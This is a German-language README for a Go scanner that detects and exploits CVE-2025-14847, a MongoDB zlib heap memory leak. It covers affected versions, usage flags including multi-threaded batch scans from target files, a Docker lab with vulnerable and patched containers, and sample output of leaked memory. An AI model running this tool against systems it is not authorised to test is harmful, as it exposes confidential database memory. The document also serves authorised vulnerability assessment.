
MongoDB-Speicherleck-Schwachstelle (CVE-2025-14847) Erkennungstool
Tool zur Erkennung der MongoDB-Speicherleck-Schwachstelle (CVE-2025-14847)
⚠️ Wichtiger Hinweis: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Schwachstellenbewertungen bestimmt. Eine unbefugte Nutzung kann gegen Gesetze verstoßen.
CVE-2025-14847 ist eine schwerwiegende Speicherleck-Schwachstelle in der Verarbeitung des Zlib-Komprimierungsprotokolls von MongoDB. Ein Angreifer kann durch das Senden manipulierter komprimierter Datenpakete dazu führen, dass MongoDB nicht initialisierte Heap-Speicherdaten zurückgibt, die möglicherweise vertrauliche Informationen enthalten.
| Versionen | Status |
|---|---|
| 8.2.0 - 8.2.2 | ⚠️ Betroffen |
| 8.0.0 - 8.0.16 | ⚠️ Betroffen |
| 7.0.0 - 7.0.27 | ⚠️ Betroffen |
| 6.0.0 - 6.0.26 | ⚠️ Betroffen |
| 5.0.0 - 5.0.31 | ⚠️ Betroffen |
| 4.4.0 - 4.4.29 | ⚠️ Betroffen |
| 4.2.x alle Versionen | ⚠️ Betroffen |
| 4.0.x alle Versionen | ⚠️ Betroffen |
| 3.6.x alle Versionen | ⚠️ Betroffen |
# Repository klonen
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# Abhängigkeiten installieren
go mod download
# Kompilieren
go build -o mongodb-scanner main.go
# Ausführen
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Rufen Sie die Seite Releases auf und laden Sie die für Ihr System geeignete vorkompilierte Version herunter.
# Einzelnes Ziel scannen
./mongodb-scanner -t 127.0.0.1:27017
# Batch-Scan aus Datei
./mongodb-scanner -f targets.txt
# Batch-Scan (20 Threads)
./mongodb-scanner -f targets.txt -c 20
# Scannen und anfällige Ziele speichern
./mongodb-scanner -f targets.txt -o vulnerable.txt
# Benutzerdefinierter Offset-Bereich (schnellerer oder tieferer Scan)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
| Parameter | Beschreibung | Standardwert |
|---|---|---|
-t <target> | Einzelnes Ziel (z. B. 127.0.0.1:27017) | - |
-f <file> | Zieldatei (ein Ziel pro Zeile) | - |
-c <num> | Anzahl der gleichzeitigen Threads | 10 |
-timeout <time> | Verbindungs-Timeout | 2s |
-o <file> | Ausgabedatei (speichert anfällige Ziele) | - |
--min-offset <num> | Minimale Dokumentlängen-Offset | 20 |
--max-offset <num> | Maximale Dokumentlängen-Offset | 8192 |
Erstellen Sie eine targets.txt-Datei:
# MongoDB Ziel-Liste
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# Wenn kein Port angegeben wird, wird standardmäßig 27017 verwendet
192.168.1.101
Um dieses Tool sicher zu testen, wird empfohlen, eine lokale Testumgebung mit Docker einzurichten.
# Starten von MongoDB 6.0.14 (anfällige Version) mit Zlib-Kompression
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# Container-Status prüfen
docker ps
# Schwachstelle testen
./mongodb-scanner -t 127.0.0.1:27017
Erstellen Sie eine docker-compose.yml-Datei:
version: '3.8'
services:
# Anfällige Version (mit Zlib)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# Gefixte Version (zum Vergleich)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
Testumgebung starten:
# Alle Container starten
docker-compose up -d
# Anfällige Version testen
./mongodb-scanner -t 127.0.0.1:27017
# Gefixte Version testen
./mongodb-scanner -t 127.0.0.1:27018
# Stoppen und bereinigen
docker-compose down -v
# Container stoppen und löschen
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# Datenvolumes bereinigen
docker volume prune -f
Das Tool verwendet einheitliche Präfixe zur Kennzeichnung von Ausgabeinformationen:
[*] – Informationsausgabe (Ziel, Version, Konfiguration usw.)[+] – Erfolg / anfällig / Daten extrahiert[-] – Fehlgeschlagen / sicher / nicht anfällig[!] – Warnung / wichtiger Hinweis╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 Schwachstellen-Erkennungstool ║
╚══════════════════════════════════════════════════════════════╝
⚠️ Nur für autorisierte Sicherheitstests | Unbefugte Tests können illegal sein
[*] Ziele: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Scan gestartet...
[*] Ziel: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Anfällige Version: Ja
[+] Zlib-Kompression: Aktiviert
[!] Schwachstelle ausnutzbar, beginne mit Speicherextraktion...
[+] Offset=229 Länge=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - Schwachstelle ausnutzbar (v6.0.14) - 3468ms
[+] Erfolgreich 1 Speicherdateneintrag extrahiert:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] Scan abgeschlossen | Gesamt: 1 | Ausnutzbar: 1 | Sicher: 0 | Dauer: 3.4s
======================================================================
[*] Ziel: 127.0.0.1:27018
[*] Version: 6.0.27
[-] Anfällige Version: Nein
[-] 127.0.0.1:27018 - Version sicher (v6.0.27) - 156ms
======================================================================
[*] Scan abgeschlossen | Gesamt: 1 | Ausnutzbar: 0 | Sicher: 1 | Dauer: 0.2s
======================================================================
[*] Ziel: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Anfällige Version: Ja
[-] Zlib-Kompression: Nicht aktiviert